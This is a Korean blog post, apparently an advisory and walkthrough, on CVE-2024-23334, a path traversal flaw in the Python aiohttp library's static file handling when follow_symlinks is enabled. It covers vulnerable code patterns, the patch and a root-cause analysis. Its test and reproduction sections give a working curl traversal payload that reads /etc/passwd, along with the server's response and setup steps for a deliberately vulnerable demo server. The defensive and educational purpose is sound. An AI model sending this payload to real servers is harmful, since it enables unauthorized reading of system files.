본문 바로가기
프로그래밍/취약점 관리

파이썬 aiohttp, 파일 다운로드 취약점, static 리소스 보안 필요 (CVE-2024-23334)

by K-인사이터 2024. 3. 21.
반응형

안녕하세요 

K-인사이트입니다.

 

 

깃허브에서 1만4천개의 별을 받은 aiohttp 프로젝트에서 "NVD 7.5점 High", "Github, Inc. 5.9 Medium" 위험도의 취약점(CVE-2024-23334)이 공개되었습니다. 해당 취약점을 통해 해커는 서버 내부 파일을 다운로드하는 등 기업이 보관하는 개인정보 및 내부 중요 정보 유출 위험을 초래할 수 있습니다.

aiohttp 란?

비동기 웹 서버 개발을 위해 설계된 Python 라이브러리 입니다. aiohttp는 asyncio 라이브러리를 기반으로 하며, 비동기 코드를 작성하여 네트워크 연결, 웹 서버 및 클라이언트와의 상호작용을 효율적으로 다룰 수 있게 해줍니다.

취약점 정보 요약

aiohttp 는 flask와 django 라이브러리처럼 정적 리소스(이미지, js, css 등)을 편리하게 라우팅에 등록하여 제공하는 기능을 가지고 있습니다. 해당 정적 리소스 관리하는 클래스(StaticResource 클래스)에서 경로 제어를 실패함에 따라 시스템에서 임의의 파일을 무단으로 읽을 수 있는 보안 취약점이 발생할 수 있습니다.

  • aiohttp 버전이 3.9.1 버전 이하 그리고 1.0.5 버전 이상일 경우 위험에 노출됩니다.
  • 현재 취약점이 고쳐진 3.9.2 버전이 공개되어있는 상태입니다.

취약점 상세 내용

aiohttp 라이브러리를 이용해 웹 서버를 구성하고 정적 경로를 구성한다면 정적 파일의 루트 경로를 지정해야만 합니다. 그리고 follow_symlinks 옵션을 제공하여 외부의 심볼릭 링크를 따를지 여부를 결정할 수 있습니다. 이러한 구현을 통해 개발자는 웹 루트 상의 파일 뿐만아니라 다른 경로에 위치하는 폴더의 symlink를 설정하여 웹 서버를 통해 접근을 제공할 수 있습니다.

 

그런데 이번 취약점을 통해서 follow_symlinks 옵션을 True로 설정하면 주어진 파일 경로가 루트 디렉터리 내외부에 있는지 확인하는 유효성 검사 코드가 누락되어 있음이 밝혀졌습니다. 이로 인해 디렉터리 경로를 제어할 수 있는 취약점이 발생할 수 있으며 시스템에서 임의의 파일을 무단으로 엑세스가 가능함이 알려졌습니다.

취약한 소스코드

여러분의 소스코드가 취약한지 파악하기 위해서는 아래의 두 조건이 만족하는지 검토해야 합니다.

  1. 정적 경로를 구성해서 사용하는지 여부 web.static 혹은 app.router.add_static 함수 사용 여부 검토
  2. follow_symlinks 옵션 True 설정 여부

만약, 위 두 조건을 만족할 경우, 취약점에 노출된 상태이며 빠른 패치가 필요합니다. aiohttp를 이용해 정적 경로를 구성하는 코드 패턴은 2가지 정도입니다. 첫번째는 add_routes 를 호출하고 web.static 함수를 통해 정적 경로를 구성하는 패턴입니다.

app.router.add_routes([
    web.static(
    "/static", 
    "static/",
    follow_symlinks=True),  # 취약점을 피하려면 follow_symlinks를 제거하세요
])

 

두번째로는 add_static 를 호출하여 정적 경로를 구성하는 패턴입니다.

app.router.add_static('/static/',
                      path='static/',
                      follow_symlinks=True)

취약점 조치 방법

정적 리소스를 계속 제공해야 된다면 follow_symlinks 옵션을 False 로 지정하면 안전합니다.

app.router.add_static('/static/',
                      path='static/',
                      follow_symlinks=False)

 

그리고 aiohttp 버전을 3.9.2 버전으로 업그레이드합니다.

pip install aiohttp>=3.9.2

취약점 테스트 방법

주의: 제공된 정보를 악용하거나 부주의하게 사용할 경우 민형사상의 책임이 따릅니다.

 

만약, 지금 당장 소스코드를 확인하기 어려울 경우에는 직접 테스트를 통해서 확인할 수 있습니다. 아래의 코드를 실행하여 /etc/passwd 정보를 확인할 수 있다면 해당 웹서버는 취약점에 노출되어 있는 상태입니다. 만약 404(Not Found) 등의 오류가 발생한다면 안전한 상태입니다. 아래 명령어에서 http[s]://localhost:8081/static/ 경로를 실제 경로로 변경하여 사용하면됩니다.

$ curl -i -s -k -X 'GET' \
'http://localhost:8081/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd' 

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Etag: "17b01b630c919e00-210c"
Last-Modified: Fri, 02 Feb 2024 17:19:31 GMT
Content-Length: 8460
Accept-Ranges: bytes
Date: Wed, 20 Mar 2024 21:15:58 GMT
Server: Python/3.9 aiohttp/3.9.1

##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##

취약점 원인 분석

그렇다면 aiohttp 라이브러리 개발자들이 어떤 실수를 했는지 알아보겠습니다. self._directory 는 Path 타입의 객체입니다. joinpath를 통해 파일 경로(filename)와 결합하는 과정을 수행합니다. 이때, resolve 함수를 호출하면 ../ 와 같은 경로 이동 문자열이 해석되면서 최종 경로를 출력하게됩니다. 예를들어 /static/../../etc/passwd 와 같이 경로가 결합되었다면 resolve 함수를 호출하고 난 뒤에는 /etc/passwd 경로만 남습니다. 

 

문제는 644번라인에서 발생합니다. follow_symlinks 옵션이 True인 경우 relative_to 함수를 통해서 유효성 검사를 하지 않습니다. relative_to 함수는 하위 경로가 아닐 경우 ValueError 예외를 발생시키는 역할을 하므로 정적 경로에서 벗어났는지를 확인하는 유효성 검사에 해당합니다.

 

다시 말해 follow_symlinks 옵션이 True 인 경우에 하위 경로임을 확인하는 유효성 검사 구간이 누락되어 있으므로 내부 중요 정보에 대한 무단 엑세스가 가능해집니다.

실제 코드는 🔗 https://github.com/aio-libs/aiohttp/pull/8079/files 를 통해서 확인이 가능합니다.

 

코드의 구동 원리를 다시 풀어내면 아래처럼 테스트를 통해서 안전한지 여부를 직접 체크할 수 있고 취약점이 발생되는 원리를 이해할 수 있습니다.

from os import PathLike
import os
from pathlib import Path
from typing import ( Optional )

# 취약한 StaticResource 클래스의 _handle 메소드 로직을 모방 
directory: PathLike = '/static/'
filename: Optional[str] = '../../../../../../../etc/passwd'
directory = Path(directory)
joined_path: Path = directory.joinpath(filename)
print(joined_path)
result = joined_path.resolve()
print(result)

# 패치된 소스코드, self._follow_symlinks = False 인 경우 분기 로직
result2 = joined_path.resolve()
try:
  result2.relative_to(directory)
  print(result2)
except ValueError:
  print('Not Found')

# 패치된 소스코드, self._follow_symlinks = True 인 경우 분기 로직
norm_path = Path(os.path.normpath(joined_path))  # Normalize 를 통해 //, .. 과 같은 문자들을 제거함.
print(norm_path)
try: 
  norm_path.relative_to(directory)
  result3 = norm_path.resolve()
except ValueError:
  print('Not Found')

 

이를 통해 패치된 aiohttp 라이브러리는 relative_to 함수의 유효성 검사를 이용해 상위 하위 경로를 구분함을 알 수 있습니다. (실행 환경이 Mac OS 이므로 /etc/passwd 의 경로가 /private/etc/passwd 로 출력되었습니다)

% python how.py           
/static/../../../../../../../etc/passwd
/private/etc/passwd
Not Found
/etc/passwd
Not Found

 

위 테스트 코드는 아래의 링크를 통해서 다운로드 및 테스트가 가능합니다.

🔗 https://bitbucket.org/kinstory/cve-2024-23334/src/main/how.py

 

취약점 재현 해보기

취약점을 테스트하기 위해 직접 코드를 만지며 테스트하는 고정이 필요합니다. 또한 나라면 어떻게 경로 이슈를 해결 했을까 하는 고민도 곁들이다 보면 더 나은 대안을 생각해서 제안도 할 수 있을 것입니다. 만약 여러분이 직접 취약점을 재현하고 싶다면 아래 링크에 접속하여 코드를 복제할 수 있습니다.

 

🔗 https://bitbucket.org/kinstory/cve-2024-23334/src/main/

 

해당 코드는 pipenv 를 통해서 파이썬 가상환경을 구성할 수 있도록 프로젝트를 구성해두었습니다. pipenv 에 대한 추가정보를 원한다면 아래 링크를 참조바랍니다.

🔗 2024.03.21 - [프로그래밍] - 파이썬 버전관리, pipenv를 이용한 개발환경관리

 

파이썬 버전관리, pipenv를 이용한 개발환경관리

안녕하세요 K-인사이트 입니다. Maven, Gradle 처럼 파이썬 프로젝트의 버전 관리의 필요성을 느끼는 분들이 많을 것입니다. 예를 들어 특정 파이썬 인터프리터 버전을 고정해서 사용하고 싶거나 프

k-in.tistory.com

 

아래의 명령어를 순차적으로 입력하여 취약한 웹 서버를 구동해 볼 수 있습니다.

$ brew install pipenv
$ git clone https://k-in@bitbucket.org/kinstory/cve-2024-23334.git
$ cd ./cve-2024-23334
$ pipenv install 
$ python main.py
Server started on

 

브라우저를 통해 아래의 URL 을 입력합니다.

$ open http://localhost:8081/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd

 

혹은, curl 명령어를 통해서 취약점을 재현할 수 있습니다.

$ curl -i -s -k -X 'GET' \
'http://localhost:8081/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd>' | more

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Etag: "17b01b630c919e00-210c"
Last-Modified: Fri, 02 Feb 2024 17:19:31 GMT
Content-Length: 8460
Accept-Ranges: bytes
Date: Wed, 20 Mar 2024 21:15:58 GMT
Server: Python/3.9 aiohttp/3.9.1

##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##

 

소스만 참조하고 싶으시다면 아래 링크를 참조드립니다.

🔗 https://bitbucket.org/kinstory/cve-2024-23334/src/main/main.py

 

맺음말

지금까지 파이썬의 aiohttp 라이브러리에서 발생한 CVE-2024-23334 취약점을 살펴보았습니다.

이 글을 통해 취약점 패치에 익숙하지 않으신 분들이 효과적으로 이슈를 해결하는데 도움이되길 바랍니다.

 

이상입니다.

K-인사이트올림.

반응형